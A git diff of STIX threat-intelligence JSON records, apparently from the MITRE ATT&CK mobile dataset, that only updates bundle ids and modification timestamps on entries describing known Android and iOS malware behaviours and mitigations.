diff --git a/mobile-attack/relationship/relationship--e3a03a80-0e31-43ef-b802-d6f65c44896d.json b/mobile-attack/relationship/relationship--e3a03a80-0e31-43ef-b802-d6f65c44896d.json
index 8add501b55..796651f173 100644
--- a/mobile-attack/relationship/relationship--e3a03a80-0e31-43ef-b802-d6f65c44896d.json
+++ b/mobile-attack/relationship/relationship--e3a03a80-0e31-43ef-b802-d6f65c44896d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c5ae20e4-38e5-4d14-b5ba-96d20d3fe457",
+    "id": "bundle--58f44ee3-15f1-4134-98cd-d13ae08494dd",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e3a03a80-0e31-43ef-b802-d6f65c44896d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RuMMS is delivered via a web link to an APK (Android application package). The link is sent via SMS.",
             "source_ref": "malware--936be60d-90eb-4c36-9247-4b31128432c4",
diff --git a/mobile-attack/relationship/relationship--e84ad4b0-9f7a-48a5-89ae-33804b11eb56.json b/mobile-attack/relationship/relationship--e84ad4b0-9f7a-48a5-89ae-33804b11eb56.json
index e7b19d0a42..d3d045b5d0 100644
--- a/mobile-attack/relationship/relationship--e84ad4b0-9f7a-48a5-89ae-33804b11eb56.json
+++ b/mobile-attack/relationship/relationship--e84ad4b0-9f7a-48a5-89ae-33804b11eb56.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8cf3c1c2-118e-4b09-aa71-b9ba052861ad",
+    "id": "bundle--eb2c7b1d-0c72-4121-b48f-365edf72aa9f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e84ad4b0-9f7a-48a5-89ae-33804b11eb56",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pegasus for Android accesses contact list information.",
             "source_ref": "malware--93799a9d-3537-43d8-b6f4-17215de1657c",
diff --git a/mobile-attack/relationship/relationship--e87aa0d6-241f-4f72-bdb6-54e8d5584ae2.json b/mobile-attack/relationship/relationship--e87aa0d6-241f-4f72-bdb6-54e8d5584ae2.json
index bc38e0dcb1..8816425f19 100644
--- a/mobile-attack/relationship/relationship--e87aa0d6-241f-4f72-bdb6-54e8d5584ae2.json
+++ b/mobile-attack/relationship/relationship--e87aa0d6-241f-4f72-bdb6-54e8d5584ae2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6a709f69-84bf-4b43-b6a0-c3c6d85dd230",
+    "id": "bundle--715cd2d0-1092-42fb-9db8-6c026e54e35f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e87aa0d6-241f-4f72-bdb6-54e8d5584ae2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Adups reportedly transmitted call logs.",
             "source_ref": "malware--f6ac21b6-2592-400c-8472-10d0e2f1bfaf",
diff --git a/mobile-attack/relationship/relationship--eb686f55-85de-42d8-a5a1-69a78af0f1f3.json b/mobile-attack/relationship/relationship--eb686f55-85de-42d8-a5a1-69a78af0f1f3.json
index cb91fb32e5..f8adac6800 100644
--- a/mobile-attack/relationship/relationship--eb686f55-85de-42d8-a5a1-69a78af0f1f3.json
+++ b/mobile-attack/relationship/relationship--eb686f55-85de-42d8-a5a1-69a78af0f1f3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--76d18cc0-8667-4f3f-a08d-45583af1614b",
+    "id": "bundle--6712e9e1-ed9f-41bf-acdb-99e2e172d72c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--eb686f55-85de-42d8-a5a1-69a78af0f1f3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ZergHelper \"appears to have gotten by Apple\u2019s app review process by performing different behaviors for users from different physical locations...For users outside of China, it would act as what it claimed: an English studying app. However, when accessing the app from China, its real features would appear.\" Presumably, Apple's app review occurred outside of China and the \"real features\" were not visible during the review.",
             "source_ref": "malware--3c3b55a6-c3e9-4043-8aae-283fe96220c0",
diff --git a/mobile-attack/relationship/relationship--eb6dbe2a-6f76-4bce-ab37-66ec67148041.json b/mobile-attack/relationship/relationship--eb6dbe2a-6f76-4bce-ab37-66ec67148041.json
index 9e3c057bc8..ac40b2702a 100644
--- a/mobile-attack/relationship/relationship--eb6dbe2a-6f76-4bce-ab37-66ec67148041.json
+++ b/mobile-attack/relationship/relationship--eb6dbe2a-6f76-4bce-ab37-66ec67148041.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--917b73cb-347c-41b2-bd90-15ecd1d19079",
+    "id": "bundle--beecb3fc-85f8-4170-8f17-b897c189bb89",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--eb6dbe2a-6f76-4bce-ab37-66ec67148041",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.742Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--649f7268-4c12-483b-ac84-4b7bca9fe2ee",
             "target_ref": "attack-pattern--667e5707-3843-4da8-bd34-88b922526f0d",
diff --git a/mobile-attack/relationship/relationship--ebc0aa93-93ac-4b7e-ad87-9d5743a09c8e.json b/mobile-attack/relationship/relationship--ebc0aa93-93ac-4b7e-ad87-9d5743a09c8e.json
index 4ec3509ed9..326022770d 100644
--- a/mobile-attack/relationship/relationship--ebc0aa93-93ac-4b7e-ad87-9d5743a09c8e.json
+++ b/mobile-attack/relationship/relationship--ebc0aa93-93ac-4b7e-ad87-9d5743a09c8e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c31ebedc-ee36-45f6-976d-2519b4b9cab4",
+    "id": "bundle--6b12dcf6-6880-4d62-9b2b-ce97c64791a4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ebc0aa93-93ac-4b7e-ad87-9d5743a09c8e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "\"Malicious actors behind\" Shedun \"repackage and inject malicious code into thousands of popular applications found in Google Play, and then later publish them to third-party app stores. Indeed, we believe many of these apps are actually fully-functional, providing their usual services, in addition to the malicious code that roots the device.\"",
             "source_ref": "malware--c80a6bef-b3ce-44d0-b113-946e93124898",
diff --git a/mobile-attack/relationship/relationship--ebdb9385-6311-4532-b021-2da48734aab7.json b/mobile-attack/relationship/relationship--ebdb9385-6311-4532-b021-2da48734aab7.json
index cd2a0834fa..46b17eb5b4 100644
--- a/mobile-attack/relationship/relationship--ebdb9385-6311-4532-b021-2da48734aab7.json
+++ b/mobile-attack/relationship/relationship--ebdb9385-6311-4532-b021-2da48734aab7.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3d1a73b8-39a8-47aa-a1a8-cfc176837af6",
+    "id": "bundle--4ad30ceb-d052-439d-9d1b-1ba3f3b8c2b8",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ebdb9385-6311-4532-b021-2da48734aab7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.744Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--0beabf44-e8d8-4ae4-9122-ef56369a2564",
             "target_ref": "attack-pattern--88932a8c-3a17-406f-9431-1da3ff19f6d6",
diff --git a/mobile-attack/relationship/relationship--ed06f5dc-9d02-4896-a0a3-2f457c64f125.json b/mobile-attack/relationship/relationship--ed06f5dc-9d02-4896-a0a3-2f457c64f125.json
index 9e03241fe2..affaa6ba5a 100644
--- a/mobile-attack/relationship/relationship--ed06f5dc-9d02-4896-a0a3-2f457c64f125.json
+++ b/mobile-attack/relationship/relationship--ed06f5dc-9d02-4896-a0a3-2f457c64f125.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--52a4e290-1a04-403d-a5f8-4b8daa279953",
+    "id": "bundle--11a98a04-a4b8-4840-afe4-86e4cfadd7dd",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ed06f5dc-9d02-4896-a0a3-2f457c64f125",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Dendroid \"can take pictures using the phone\u2019s camera, record audio and video\".",
             "source_ref": "malware--317a2c10-d489-431e-b6b2-f0251fddc88e",
diff --git a/mobile-attack/relationship/relationship--ee0afd88-a0fc-4b1d-b047-9b9bf04d36fe.json b/mobile-attack/relationship/relationship--ee0afd88-a0fc-4b1d-b047-9b9bf04d36fe.json
index 35710c1168..e0f11fccc3 100644
--- a/mobile-attack/relationship/relationship--ee0afd88-a0fc-4b1d-b047-9b9bf04d36fe.json
+++ b/mobile-attack/relationship/relationship--ee0afd88-a0fc-4b1d-b047-9b9bf04d36fe.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a9bbda4b-d219-4b0c-8e74-e64bf5aae8f5",
+    "id": "bundle--61ab31d3-3d0a-4a7d-a6da-166fad4c6c4b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ee0afd88-a0fc-4b1d-b047-9b9bf04d36fe",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.737Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--8220b57e-c400-4525-bf69-f8edc6b389a8",
             "target_ref": "attack-pattern--3b0b604f-10db-41a0-b54c-493124d455b9",
diff --git a/mobile-attack/relationship/relationship--ef7f8f51-6aea-4f5c-9c96-f353a14cf062.json b/mobile-attack/relationship/relationship--ef7f8f51-6aea-4f5c-9c96-f353a14cf062.json
index 36637baa17..58e0ca7f11 100644
--- a/mobile-attack/relationship/relationship--ef7f8f51-6aea-4f5c-9c96-f353a14cf062.json
+++ b/mobile-attack/relationship/relationship--ef7f8f51-6aea-4f5c-9c96-f353a14cf062.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f00ff44a-7b56-435c-a76f-38fbc7251834",
+    "id": "bundle--383dc656-e9dd-4f70-8526-14343632eb55",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ef7f8f51-6aea-4f5c-9c96-f353a14cf062",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.745Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--8ccd428d-39da-4e8f-a55b-d48ea1d56e58",
             "target_ref": "attack-pattern--c5089859-b21f-40a3-8be4-63e381b8b1c0",
diff --git a/mobile-attack/relationship/relationship--efcfe1a3-3351-4b4f-ae36-101f103b4798.json b/mobile-attack/relationship/relationship--efcfe1a3-3351-4b4f-ae36-101f103b4798.json
index 3d2317d4df..a5697c326c 100644
--- a/mobile-attack/relationship/relationship--efcfe1a3-3351-4b4f-ae36-101f103b4798.json
+++ b/mobile-attack/relationship/relationship--efcfe1a3-3351-4b4f-ae36-101f103b4798.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--199d395b-e212-4a86-aebc-4365d0fa1327",
+    "id": "bundle--20eafbe4-6367-4558-bec4-49428df3e4d8",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--efcfe1a3-3351-4b4f-ae36-101f103b4798",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "X-Agent was placed in a repackaged version of an application used by Ukrainian artillery forces..",
             "source_ref": "malware--56660521-6db4-4e5a-a927-464f22954b7c",
diff --git a/mobile-attack/relationship/relationship--f0851531-e554-4658-920c-f2342632c19a.json b/mobile-attack/relationship/relationship--f0851531-e554-4658-920c-f2342632c19a.json
index 07b0cccd5f..e383e22d40 100644
--- a/mobile-attack/relationship/relationship--f0851531-e554-4658-920c-f2342632c19a.json
+++ b/mobile-attack/relationship/relationship--f0851531-e554-4658-920c-f2342632c19a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--03a11215-bbe2-4f99-98d3-0337fe90b9c3",
+    "id": "bundle--cb466cb0-fc19-48b7-8cfb-af0628a1ce2b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f0851531-e554-4658-920c-f2342632c19a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Shedun \"uses publicly available exploits that perform the rooting function. ShiftyBug, for example, comes packed with at least eight of them in an effort to enable itself to root as many device as possible.\".",
             "source_ref": "malware--c80a6bef-b3ce-44d0-b113-946e93124898",
diff --git a/mobile-attack/relationship/relationship--f14af74f-fb6b-480f-91de-d755c89960ce.json b/mobile-attack/relationship/relationship--f14af74f-fb6b-480f-91de-d755c89960ce.json
index 00334af413..e144fffc16 100644
--- a/mobile-attack/relationship/relationship--f14af74f-fb6b-480f-91de-d755c89960ce.json
+++ b/mobile-attack/relationship/relationship--f14af74f-fb6b-480f-91de-d755c89960ce.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b60197b1-65c9-4b71-8ef2-5ecc569f48e6",
+    "id": "bundle--13ad0c49-4911-4cd2-b970-7edb4a905300",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f14af74f-fb6b-480f-91de-d755c89960ce",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "AndroidOverlayMalware was distributed by sending \"SMS messages with an embedded link that leads to the malware app.\"",
             "source_ref": "malware--b6d3657a-2d6a-400f-8b7e-4d60391aa1f7",
diff --git a/mobile-attack/relationship/relationship--f2e23cb7-7bac-4938-91ea-7dd42b41ba29.json b/mobile-attack/relationship/relationship--f2e23cb7-7bac-4938-91ea-7dd42b41ba29.json
index ad500e3a42..1161d0af90 100644
--- a/mobile-attack/relationship/relationship--f2e23cb7-7bac-4938-91ea-7dd42b41ba29.json
+++ b/mobile-attack/relationship/relationship--f2e23cb7-7bac-4938-91ea-7dd42b41ba29.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f4984626-c48a-40a5-8d1a-91c013f0c63a",
+    "id": "bundle--dfe21003-4c45-41db-b479-e7d21eeb4a07",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f2e23cb7-7bac-4938-91ea-7dd42b41ba29",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ANDROIDOS_ANSERVER.A uses encrypted content within a blog site for part of its command and control. Specifically, the encrypted content contains URLs for other servers to be used for other aspects of command and control.",
             "source_ref": "malware--4bf6ba32-4165-42c1-b911-9c36165891c8",
diff --git a/mobile-attack/relationship/relationship--f5fab17b-43e7-46ff-bdea-eb8c52a0c6c3.json b/mobile-attack/relationship/relationship--f5fab17b-43e7-46ff-bdea-eb8c52a0c6c3.json
index d6a269051c..b5d42d187e 100644
--- a/mobile-attack/relationship/relationship--f5fab17b-43e7-46ff-bdea-eb8c52a0c6c3.json
+++ b/mobile-attack/relationship/relationship--f5fab17b-43e7-46ff-bdea-eb8c52a0c6c3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e92a489b-245c-40c0-9d43-89b1d0ee2c5b",
+    "id": "bundle--9a9318ea-0512-461c-b79c-3fd635c10c9e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f5fab17b-43e7-46ff-bdea-eb8c52a0c6c3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pegasus for Android accesses the list of installed applications.",
             "source_ref": "malware--93799a9d-3537-43d8-b6f4-17215de1657c",
diff --git a/mobile-attack/relationship/relationship--f6098dca-3a9e-4991-8d51-1310b12161b6.json b/mobile-attack/relationship/relationship--f6098dca-3a9e-4991-8d51-1310b12161b6.json
index 66f30067b3..b62383735c 100644
--- a/mobile-attack/relationship/relationship--f6098dca-3a9e-4991-8d51-1310b12161b6.json
+++ b/mobile-attack/relationship/relationship--f6098dca-3a9e-4991-8d51-1310b12161b6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--553aa3e9-449b-4695-962b-08517a2ac176",
+    "id": "bundle--4236ca1c-d202-4bea-8b82-a9a00b9c72f7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f6098dca-3a9e-4991-8d51-1310b12161b6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pegasus for Android uses SMS for command and control.",
             "source_ref": "malware--93799a9d-3537-43d8-b6f4-17215de1657c",
diff --git a/mobile-attack/relationship/relationship--f6fa0801-418e-43e5-bfae-332e909624fc.json b/mobile-attack/relationship/relationship--f6fa0801-418e-43e5-bfae-332e909624fc.json
index 07c1897abc..8523c75f32 100644
--- a/mobile-attack/relationship/relationship--f6fa0801-418e-43e5-bfae-332e909624fc.json
+++ b/mobile-attack/relationship/relationship--f6fa0801-418e-43e5-bfae-332e909624fc.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b1be1443-aad2-491a-93fb-c3def7f060b0",
+    "id": "bundle--e6e065d2-7beb-4f01-96a5-e56f2f79e274",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f6fa0801-418e-43e5-bfae-332e909624fc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.738Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--bcecd036-f40e-4916-9f8e-fd0ccf0ece8d",
             "target_ref": "attack-pattern--e8b4e1ec-8e3b-484c-9038-4459b1ed8060",
diff --git a/mobile-attack/relationship/relationship--f947d845-4d70-41f3-ae3c-18ea8b44e667.json b/mobile-attack/relationship/relationship--f947d845-4d70-41f3-ae3c-18ea8b44e667.json
index 503df2c7ba..b33b4bd03c 100644
--- a/mobile-attack/relationship/relationship--f947d845-4d70-41f3-ae3c-18ea8b44e667.json
+++ b/mobile-attack/relationship/relationship--f947d845-4d70-41f3-ae3c-18ea8b44e667.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3472249f-0daf-4396-a385-df684ae3fb34",
+    "id": "bundle--1824d2e5-9fc6-4a07-b8fb-b32070b68d78",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f947d845-4d70-41f3-ae3c-18ea8b44e667",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "HummingBad can help create \"fraudulent statistics inside the official Google Play Store.\"",
             "source_ref": "malware--c8770c81-c29f-40d2-a140-38544206b2b4",
diff --git a/mobile-attack/relationship/relationship--fa1da6db-da32-45d2-98a8-6bbe153166da.json b/mobile-attack/relationship/relationship--fa1da6db-da32-45d2-98a8-6bbe153166da.json
index 36d59178b0..4bb93a3b36 100644
--- a/mobile-attack/relationship/relationship--fa1da6db-da32-45d2-98a8-6bbe153166da.json
+++ b/mobile-attack/relationship/relationship--fa1da6db-da32-45d2-98a8-6bbe153166da.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--92de08d6-e901-453a-90cf-ee13002696af",
+    "id": "bundle--cd195210-33a2-4006-831d-80f7f4a1242e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--fa1da6db-da32-45d2-98a8-6bbe153166da",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "AndroRAT tracks the device location.",
             "source_ref": "malware--a3dad2be-ce62-4440-953b-00fbce7aba93",
diff --git a/mobile-attack/relationship/relationship--fa7b38df-eedc-469b-bcec-facdd8365231.json b/mobile-attack/relationship/relationship--fa7b38df-eedc-469b-bcec-facdd8365231.json
index 5d6feee366..bdb165ab43 100644
--- a/mobile-attack/relationship/relationship--fa7b38df-eedc-469b-bcec-facdd8365231.json
+++ b/mobile-attack/relationship/relationship--fa7b38df-eedc-469b-bcec-facdd8365231.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--802eb80a-1f9c-4326-86e8-518adc3ec75a",
+    "id": "bundle--08a44212-c89e-4fba-ae27-5fbd80781c98",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--fa7b38df-eedc-469b-bcec-facdd8365231",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.743Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--0beabf44-e8d8-4ae4-9122-ef56369a2564",
             "target_ref": "attack-pattern--f296fc9c-2ff5-43ee-941e-6b49c438270a",
diff --git a/mobile-attack/relationship/relationship--fab8c40d-b934-4ee0-8e83-f017af2e347a.json b/mobile-attack/relationship/relationship--fab8c40d-b934-4ee0-8e83-f017af2e347a.json
index 2246c4eeba..a0adde5c86 100644
--- a/mobile-attack/relationship/relationship--fab8c40d-b934-4ee0-8e83-f017af2e347a.json
+++ b/mobile-attack/relationship/relationship--fab8c40d-b934-4ee0-8e83-f017af2e347a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f2f3b5cc-ff7c-4d6f-92fa-12099763f7be",
+    "id": "bundle--c126a4ae-cdd9-46d8-9c24-c7e37a602ed5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--fab8c40d-b934-4ee0-8e83-f017af2e347a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.739Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--25dc1ce8-eb55-4333-ae30-a7cb4f5894a1",
             "target_ref": "attack-pattern--29e07491-8947-43a3-8d4e-9a787c45f3d3",
diff --git a/mobile-attack/relationship/relationship--fb371daf-2771-488f-90ca-5e08b9a36c5c.json b/mobile-attack/relationship/relationship--fb371daf-2771-488f-90ca-5e08b9a36c5c.json
index cda601ce59..75094bcc21 100644
--- a/mobile-attack/relationship/relationship--fb371daf-2771-488f-90ca-5e08b9a36c5c.json
+++ b/mobile-attack/relationship/relationship--fb371daf-2771-488f-90ca-5e08b9a36c5c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e3e33abb-615e-45e0-8460-4888f8428dbc",
+    "id": "bundle--d8e9e8ac-8748-42a7-8986-c3eb4ab46177",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--fb371daf-2771-488f-90ca-5e08b9a36c5c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The Android/Chuli.A malware was delivered via a spear phishing message sent to activist groups containing a malicious Android application as an attachment.",
             "source_ref": "malware--d05f7357-4cbe-47ea-bf83-b8604226d533",
diff --git a/mobile-attack/relationship/relationship--ffc24804-42db-4be1-a418-7f5ab9de453c.json b/mobile-attack/relationship/relationship--ffc24804-42db-4be1-a418-7f5ab9de453c.json
index b007dd262a..b7c01587a3 100644
--- a/mobile-attack/relationship/relationship--ffc24804-42db-4be1-a418-7f5ab9de453c.json
+++ b/mobile-attack/relationship/relationship--ffc24804-42db-4be1-a418-7f5ab9de453c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4971f9a1-7905-4f2b-9f39-baa36f1a1f55",
+    "id": "bundle--447e64a1-723c-4483-91eb-75104ec929c8",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ffc24804-42db-4be1-a418-7f5ab9de453c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "NotCompatible has the potential capability of exploiting systems on an enterprise network.",
             "source_ref": "malware--23040c15-e7d8-47b5-8c16-8fd3e0e297fe",
diff --git a/mobile-attack/tool/tool--da21929e-40c0-443d-bdf4-6b60d15448b4.json b/mobile-attack/tool/tool--da21929e-40c0-443d-bdf4-6b60d15448b4.json
index 064dd4e722..6e38835310 100644
--- a/mobile-attack/tool/tool--da21929e-40c0-443d-bdf4-6b60d15448b4.json
+++ b/mobile-attack/tool/tool--da21929e-40c0-443d-bdf4-6b60d15448b4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--341a52cb-f749-4d88-b6d0-b61629fa5ee7",
+    "id": "bundle--bdcdabf4-c9fd-4744-b35c-3281505a8d55",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "tool--da21929e-40c0-443d-bdf4-6b60d15448b4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:48.609Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Xbot",
             "description": "Xbot is a family of Android malware analyzed by Palo Alto Networks (Citation: PaloAlto-Xbot) that \"tries to steal victims' banking credentials and credit card information\", \"can also remotely lock infected Android devices, encrypt the user's files in external storage (e.g., SD card), and then ask for a U.S. $100 PayPal cash card as ransom\" and \"will steal all SMS message and contact information, intercept certain SMS messages, and parse SMS messages for mTANs (Mobile Transaction Authentication Number) from banks.\"\n\nAliases: Xbot",
             "labels": [
diff --git a/pre-attack/attack-pattern/attack-pattern--028ad431-84c5-4eb7-a364-2b797c234f88.json b/pre-attack/attack-pattern/attack-pattern--028ad431-84c5-4eb7-a364-2b797c234f88.json
index 917cc9084b..ef5236c414 100644
--- a/pre-attack/attack-pattern/attack-pattern--028ad431-84c5-4eb7-a364-2b797c234f88.json
